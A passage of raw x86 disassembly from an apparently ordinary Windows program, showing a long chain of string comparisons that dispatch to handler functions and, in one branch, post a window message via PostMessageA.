jne 0x4893b9
lea ecx, [ebp + 0x38]
push ecx
mov eax, dword [ebp + 0x2c]
push eax
push 0
mov edx, dword [ebp + 0x20]
push edx
mov ecx, dword [ebp + 0x1c]
push ecx
mov eax, dword [ebp - 0x70]
push eax
mov edx, dword [ebp + 8]
push edx
call fcn.004380ec
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8d38
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x4893f5
mov edx, dword [ebp + 0x2c]
push edx
mov ecx, dword [ebp - 0x48]
push ecx
mov eax, dword [ebp + 0x20]
push eax
mov edx, dword [ebp + 0x1c]
push edx
mov ecx, dword [ebp - 0x70]
push ecx
mov eax, dword [ebp + 8]
push eax
call fcn.00432b20
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8d42
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x489429
mov eax, dword [ebp + 0x38]
push eax
mov edx, dword [ebp + 0x20]
push edx
mov ecx, dword [ebp + 0x1c]
push ecx
mov eax, dword [ebp - 0x70]
push eax
call fcn.0044a6c8
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8d4a
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48945b
push 0
mov eax, dword [ebp + 0x20]
push eax
mov edx, dword [ebp + 0x1c]
push edx
mov ecx, dword [ebp - 0x70]
push ecx
call fcn.0044af9c
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8d4f
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48948d
push 1
mov ecx, dword [ebp + 0x20]
push ecx
mov eax, dword [ebp + 0x1c]
push eax
mov edx, dword [ebp - 0x70]
push edx
call fcn.0044af9c
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8d57
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x4894c5
mov edx, dword [ebp + 0x2c]
push edx
mov ecx, dword [ebp + 0x20]
push ecx
mov eax, dword [ebp + 0x1c]
push eax
mov edx, dword [ebp - 0x70]
push edx
mov ecx, dword [ebp + 8]
push ecx
call fcn.00434044
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8d60
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x4894e9
call fcn.00432eb4
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8d6c
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48951d
mov edx, dword [ebp + 0x2c]
push edx
mov ecx, dword [ebp + 0x1c]
push ecx
mov eax, dword [ebp - 0x70]
push eax
mov edx, dword [ebp + 8]
push edx
call fcn.00432ef0
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8d74
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48954f
push 1
mov edx, dword [ebp + 0x1c]
push edx
mov ecx, dword [ebp - 0x70]
push ecx
mov eax, dword [ebp + 8]
push eax
call fcn.00438818
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8d7b
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48959b
mov eax, dword [ebp + 0x38]
push eax
mov edx, dword [ebp + 0x34]
push edx
mov ecx, dword [ebp + 0x2c]
push ecx
mov eax, dword [ebp - 0x48]
push eax
lea edx, [ebp - 0x6c]
push edx
mov ecx, dword [ebp + 0x24]
push ecx
mov eax, dword [ebp + 0x20]
push eax
mov edx, dword [ebp + 0x1c]
push edx
mov ecx, dword [ebp - 0x70]
push ecx
mov eax, dword [ebp + 8]
push eax
call fcn.004545e8
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8d80
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x4895d3
mov eax, dword [ebp + 0x2c]
push eax
mov edx, dword [ebp - 0x48]
push edx
mov ecx, dword [ebp + 0x1c]
push ecx
mov eax, dword [ebp - 0x70]
push eax
mov edx, dword [ebp + 8]
push edx
call fcn.00432f7c
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8d85
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne case.0x4887ef.107
mov edx, dword [ebp + 0x2c]
push edx
mov ecx, dword [ebp + 0x1c]
push ecx
mov eax, dword [ebp - 0x70]
push eax
mov edx, dword [ebp + 8]
push edx
call fcn.00433234
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8d8f
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48963b
mov edx, dword [ebp + 0x2c]
push edx
mov ecx, dword [ebp - 0x70]
push ecx
mov eax, dword [ebp + 8]
push eax
call fcn.00433628
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8d97
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48966f
mov eax, dword [ebp + 0x2c]
push eax
mov edx, dword [ebp + 0x1c]
push edx
mov ecx, dword [ebp - 0x70]
push ecx
mov eax, dword [ebp + 8]
push eax
call fcn.004336c4
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8d9d
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48969f
mov eax, dword [ebp + 0x1c]
push eax
mov edx, dword [ebp - 0x70]
push edx
mov ecx, dword [ebp + 8]
push ecx
call fcn.00433c6c
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8da6
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x4896d7
mov ecx, dword [ebp + 0x2c]
push ecx
mov eax, dword [ebp + 0x20]
push eax
mov edx, dword [ebp + 0x1c]
push edx
mov ecx, dword [ebp - 0x70]
push ecx
mov eax, dword [ebp + 8]
push eax
call fcn.00434044
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8dae
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x489707
mov eax, dword [ebp + 0x2c]
push eax
mov edx, dword [ebp - 0x70]
push edx
mov ecx, dword [ebp + 8]
push ecx
call fcn.004343d0
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8db6
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
jne case.0x4887ef.107
xor ecx, ecx
mov dword [ebp - 0x40], ecx
push 0
push 0
push 0x10
mov eax, dword [0x4fd9ec]
push eax
call sub.USER32.dll_PostMessageA
jmp 0x48b08f
push 0x4f8dbc
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x489771
mov eax, dword [ebp + 0x24]
push eax
mov edx, dword [ebp + 0x20]
push edx
mov ecx, dword [ebp + 0x1c]
push ecx
mov eax, dword [ebp - 0x70]
push eax
call fcn.0043445c
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8dc4
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48979d
mov eax, dword [ebp + 0x20]
push eax
mov edx, dword [ebp - 0x70]
push edx
call fcn.00436034
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8dce
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x4897c9
mov edx, dword [ebp - 0x48]
push edx
mov ecx, dword [ebp - 0x70]
push ecx
call fcn.004360fc
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8dd6
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x4897fd
mov ecx, dword [ebp + 0x2c]
push ecx
mov eax, dword [ebp + 0x1c]
push eax
mov edx, dword [ebp - 0x70]
push edx
mov ecx, dword [ebp + 8]
push ecx
call fcn.004361ac
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8de0
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48982d
mov ecx, dword [ebp + 0x20]
push ecx
mov eax, dword [ebp + 0x1c]
push eax
mov edx, dword [ebp - 0x70]
push edx
call fcn.004364ac
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8de7
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48985d
mov edx, dword [ebp + 0x2c]
push edx
mov ecx, dword [ebp + 0x1c]
push ecx
mov eax, dword [ebp - 0x70]
push eax
call fcn.00436684
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8dee
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x489895
mov eax, dword [ebp + 0x2c]
push eax
mov edx, dword [ebp + 0x20]
push edx
mov ecx, dword [ebp + 0x1c]
push ecx
mov eax, dword [ebp - 0x70]
push eax
mov edx, dword [ebp + 8]
push edx
call fcn.00436900
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8df5
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x4898c1
mov edx, dword [ebp + 0x1c]
push edx
mov ecx, dword [ebp - 0x70]
push ecx
call fcn.00436c10
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8dff
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x4898f5
mov ecx, dword [ebp - 0x48]
push ecx
mov eax, dword [ebp + 0x1c]
push eax
mov edx, dword [ebp - 0x70]
push edx
mov ecx, dword [ebp + 8]
push ecx
call fcn.00436c68
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8e05
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x489929
mov ecx, dword [ebp + 0x2c]
push ecx
mov eax, dword [ebp + 0x1c]
push eax
mov edx, dword [ebp - 0x70]
push edx
mov ecx, dword [ebp + 8]
push ecx
call fcn.00436ef0
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8e0c
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
jne case.0x4887ef.107
mov ecx, dword [ebp + 0x2c]
push ecx
mov eax, dword [ebp - 0x48]
push eax
mov edx, dword [ebp + 0x20]
push edx
mov ecx, dword [ebp + 0x1c]
push ecx
mov eax, dword [ebp - 0x70]
push eax
call fcn.00436f80
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8e14
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x4899a5
mov eax, dword [ebp + 0x38]
push eax
mov edx, dword [ebp + 0x20]
push edx
mov ecx, dword [ebp - 0x18]
push ecx
lea eax, [ebp - 0x14]
push eax
lea edx, [ebp - 0x10]
push edx
lea ecx, [ebp - 0xc]
push ecx
mov eax, dword [ebp - 0x70]
push eax
call fcn.0046bc68
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8e1a
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x4899d9
mov eax, dword [ebp + 0x20]
push eax
mov edx, dword [ebp + 0x1c]
push edx
mov ecx, dword [ebp - 0x70]
push ecx
mov eax, dword [ebp + 8]
push eax
call fcn.00437338
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8e22
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x489a17
push 1
mov eax, dword [ebp + 0x2c]
push eax
mov edx, dword [ebp - 0x48]
push edx
mov ecx, dword [ebp + 0x20]
push ecx
mov eax, dword [ebp + 0x1c]
push eax
mov edx, dword [ebp - 0x70]
push edx
mov ecx, dword [ebp + 8]
push ecx
call fcn.0042f72c
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8e29
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x489a51
push 1
mov ecx, dword [ebp + 0x2c]
push ecx
mov eax, dword [ebp + 0x20]
push eax
mov edx, dword [ebp + 0x1c]
push edx
mov ecx, dword [ebp - 0x70]
push ecx
mov eax, dword [ebp + 8]
push eax
call fcn.00410290
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8e30
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x489a8b
push 2
mov eax, dword [ebp + 0x2c]
push eax
mov edx, dword [ebp + 0x20]
push edx
mov ecx, dword [ebp + 0x1c]
push ecx
mov eax, dword [ebp - 0x70]
push eax
mov edx, dword [ebp + 8]
push edx
call fcn.00410290
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8e39
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x489ac5
push 3
mov edx, dword [ebp + 0x2c]
push edx
mov ecx, dword [ebp + 0x20]
push ecx
mov eax, dword [ebp + 0x1c]
push eax
mov edx, dword [ebp - 0x70]
push edx
mov ecx, dword [ebp + 8]
push ecx
call fcn.00410290
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8e40
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x489aff
push 4
mov ecx, dword [ebp + 0x2c]
push ecx
mov eax, dword [ebp + 0x20]
push eax
mov edx, dword [ebp + 0x1c]
push edx
mov ecx, dword [ebp - 0x70]
push ecx
mov eax, dword [ebp + 8]
push eax
call fcn.00410290
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8e47
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x489b39
push 5
mov eax, dword [ebp + 0x2c]
push eax
mov edx, dword [ebp + 0x20]
push edx
mov ecx, dword [ebp + 0x1c]
push ecx
mov eax, dword [ebp - 0x70]
push eax
mov edx, dword [ebp + 8]
push edx
call fcn.00410290
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8e4e
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x489b73
push 6
mov edx, dword [ebp + 0x2c]
push edx
mov ecx, dword [ebp + 0x20]
push ecx
mov eax, dword [ebp + 0x1c]
push eax
mov edx, dword [ebp - 0x70]
push edx
mov ecx, dword [ebp + 8]
push ecx
call fcn.00410290
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8e55
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x489bad
push 7
mov ecx, dword [ebp + 0x2c]
push ecx
mov eax, dword [ebp + 0x20]
push eax
mov edx, dword [ebp + 0x1c]
push edx
mov ecx, dword [ebp - 0x70]
push ecx
mov eax, dword [ebp + 8]
push eax
call fcn.00410290
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8e5c
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x489be7
push 8
mov eax, dword [ebp + 0x2c]
push eax
mov edx, dword [ebp + 0x20]
push edx
mov ecx, dword [ebp + 0x1c]
push ecx
mov eax, dword [ebp - 0x70]
push eax
mov edx, dword [ebp + 8]
push edx
call fcn.00410290
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8e63
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x489c21
push 9
mov edx, dword [ebp + 0x2c]
push edx
mov ecx, dword [ebp + 0x20]
push ecx
mov eax, dword [ebp + 0x1c]
push eax
mov edx, dword [ebp - 0x70]
push edx
mov ecx, dword [ebp + 8]
push ecx
call fcn.00410290
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8e6b
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x489c5b
push 0xa
mov ecx, dword [ebp + 0x2c]
push ecx
mov eax, dword [ebp + 0x20]
push eax
mov edx, dword [ebp + 0x1c]
push edx
mov ecx, dword [ebp - 0x70]
push ecx
mov eax, dword [ebp + 8]
push eax
call fcn.00410290
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8e72
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x489c95
push 0xb
mov eax, dword [ebp + 0x2c]
push eax
mov edx, dword [ebp + 0x20]
push edx
mov ecx, dword [ebp + 0x1c]
push ecx
mov eax, dword [ebp - 0x70]
push eax
mov edx, dword [ebp + 8]
push edx
call fcn.00410290
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8e79
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne case.0x4887ef.107
push 0xc
mov edx, dword [ebp + 0x2c]
push edx
mov ecx, dword [ebp + 0x20]
push ecx
mov eax, dword [ebp + 0x1c]
push eax
mov edx, dword [ebp - 0x70]
push edx
mov ecx, dword [ebp + 8]
push ecx
call fcn.00410290
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8e80
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x489d19
mov dword [ebp - 0x40], 2
mov ecx, dword [ebp + 0x24]
mov byte [ecx], 0
mov dword [0x4fba24], 1
cmp dword [ebp + 0x34], 0
je 0x48b08f
mov eax, dword [ebp + 0x34]
mov dword [eax], 1
jmp 0x48b08f
push 0x4f8e86
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x489d59
mov dword [ebp - 0x40], 1
mov dword [0x4fba24], 1
cmp dword [ebp + 0x34], 0
je 0x48b08f
mov eax, dword [ebp + 0x34]
mov dword [eax], 1
jmp 0x48b08f
push 0x4f8e8f
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne case.0x4887ef.107
push 0
mov eax, dword [ebp + 0x20]
push eax
mov edx, dword [ebp + 0x1c]
push edx
mov ecx, dword [ebp - 0x70]
push ecx
call fcn.00437534
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8e95
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x489dbf
mov ecx, dword [ebp + 0x2c]
push ecx
mov eax, dword [ebp - 0x70]
push eax
mov edx, dword [ebp + 8]
push edx
call fcn.004375f8
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8e9a
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x489df3
mov edx, dword [ebp + 0x2c]
push edx
mov ecx, dword [ebp + 0x1c]
push ecx
mov eax, dword [ebp - 0x70]
push eax
mov edx, dword [ebp + 8]
push edx
call fcn.004376ac
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8ea2
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x489e2f
mov edx, dword [ebp + 0x2c]
push edx
mov ecx, dword [ebp - 0x48]
push ecx
mov eax, dword [ebp + 0x20]
push eax
mov edx, dword [ebp + 0x1c]
push edx
mov ecx, dword [ebp - 0x70]
push ecx
mov eax, dword [ebp + 8]
push eax
call fcn.00437828
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8eaa
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x489e61
push 2
mov eax, dword [ebp + 0x1c]
push eax
mov edx, dword [ebp - 0x70]
push edx
mov ecx, dword [ebp + 8]
push ecx
call fcn.00438818
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8eb1
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x489e9f
lea ecx, [ebp + 0x38]
push ecx
mov eax, dword [ebp + 0x2c]
push eax
push 1
mov edx, dword [ebp + 0x20]
push edx
mov ecx, dword [ebp + 0x1c]
push ecx
mov eax, dword [ebp - 0x70]
push eax
mov edx, dword [ebp + 8]
push edx
call fcn.004380ec
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8eb6
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne case.0x4887ef.107
push 2
mov edx, dword [ebp + 0x2c]
push edx
mov ecx, dword [ebp - 0x48]
push ecx
mov eax, dword [ebp + 0x20]
push eax
mov edx, dword [ebp + 0x1c]
push edx
mov ecx, dword [ebp - 0x70]
push ecx
mov eax, dword [ebp + 8]
push eax
call fcn.0042f72c
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8ebd
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne case.0x4887ef.107
mov eax, dword [ebp - 0x48]
push eax
mov edx, dword [ebp + 0x20]
push edx
mov ecx, dword [ebp + 0x1c]
push ecx
mov eax, dword [ebp - 0x70]
push eax
mov edx, dword [ebp + 8]
push edx
call fcn.00438408
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8ec3
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x489f51
mov edx, dword [ebp - 0x48]
push edx
mov ecx, dword [ebp + 0x1c]
push ecx
mov eax, dword [ebp - 0x70]
push eax
mov edx, dword [ebp + 8]
push edx
call fcn.0043d940
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8eca
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x489f7d
mov edx, dword [ebp - 0x70]
push edx
mov ecx, dword [ebp + 8]
push ecx
call fcn.0043999c
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8ed3
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x489fa9
mov ecx, dword [ebp + 0x1c]
push ecx
mov eax, dword [ebp - 0x70]
push eax
call fcn.00439a70
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8ed9
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x489fe1
mov eax, dword [ebp + 0x2c]
push eax
mov edx, dword [ebp + 0x20]
push edx
mov ecx, dword [ebp + 0x1c]
push ecx
mov eax, dword [ebp - 0x70]
push eax
mov edx, dword [ebp + 8]
push edx
call fcn.00439d10
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8edf
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48a015
mov edx, dword [ebp - 0x48]
push edx
mov ecx, dword [ebp + 0x20]
push ecx
mov eax, dword [ebp + 0x1c]
push eax
mov edx, dword [ebp - 0x70]
push edx
call fcn.0043a224
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8ee8
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48a041
mov edx, dword [ebp + 0x1c]
push edx
mov ecx, dword [ebp - 0x70]
push ecx
call fcn.0043b0ac
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8ef3
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
jne case.0x4887ef.107
mov ecx, dword [ebp + 0x2c]
push ecx
mov eax, dword [ebp + 0x20]
push eax
mov edx, dword [ebp + 0x1c]
push edx
mov ecx, dword [ebp + 0x24]
push ecx
mov eax, dword [ebp - 0x70]
push eax
mov edx, dword [ebp + 8]
push edx
call fcn.0043b1ac
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8ef8
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48a0a9
mov edx, dword [ebp - 0x70]
push edx
call fcn.0043b5a8
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8efd
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48a0e5
mov edx, dword [ebp + 0x2c]
push edx
mov ecx, dword [ebp - 0x48]
push ecx
mov eax, dword [ebp + 0x20]
push eax
mov edx, dword [ebp + 0x1c]
push edx
mov ecx, dword [ebp - 0x70]
push ecx
mov eax, dword [ebp + 8]
push eax
call fcn.0043b638
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8f01
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48a117
push 0
mov eax, dword [ebp + 0x20]
push eax
mov edx, dword [ebp + 0x1c]
push edx
mov ecx, dword [ebp - 0x70]
push ecx
call fcn.0043b8bc
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8f08
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
jne case.0x4887ef.107
mov ecx, dword [ebp + 0x2c]
push ecx
mov eax, dword [ebp - 0x48]
push eax
mov edx, dword [ebp + 0x20]
push edx
mov ecx, dword [ebp + 0x1c]
push ecx
mov eax, dword [ebp - 0x70]
push eax
mov edx, dword [ebp + 8]
push edx
call fcn.0043ba3c
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8f0d
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48a18b
mov edx, dword [ebp + 0x2c]
push edx
mov ecx, dword [ebp - 0x48]
push ecx
mov eax, dword [ebp + 0x1c]
push eax
mov edx, dword [ebp - 0x70]
push edx
call fcn.0043c2fc
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8f13
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48a1c7
mov edx, dword [ebp + 0x2c]
push edx
mov ecx, dword [ebp - 0x48]
push ecx
mov eax, dword [ebp + 0x20]
push eax
mov edx, dword [ebp + 0x1c]
push edx
mov ecx, dword [ebp - 0x70]
push ecx
mov eax, dword [ebp + 8]
push eax
call fcn.0043cf7c
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8f1b
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne case.0x4887ef.107
mov eax, dword [ebp + 0x2c]
push eax
mov edx, dword [ebp + 0x20]
push edx
mov ecx, dword [ebp - 0x70]
push ecx
mov eax, dword [ebp + 8]
push eax
call fcn.0043d058
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8f23
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48a23b
mov eax, dword [ebp + 0x2c]
push eax
mov edx, dword [ebp - 0x48]
push edx
mov ecx, dword [ebp + 0x20]
push ecx
mov eax, dword [ebp + 0x1c]
push eax
mov edx, dword [ebp - 0x70]
push edx
mov ecx, dword [ebp + 8]
push ecx
call fcn.0043d4dc
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8f29
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
jne case.0x4887ef.107
mov ecx, dword [ebp + 0x2c]
push ecx
mov eax, dword [ebp - 0x48]
push eax
mov edx, dword [ebp + 0x20]
push edx
mov ecx, dword [ebp + 0x1c]
push ecx
mov eax, dword [ebp - 0x70]
push eax
mov edx, dword [ebp + 8]
push edx
call fcn.0043d4dc
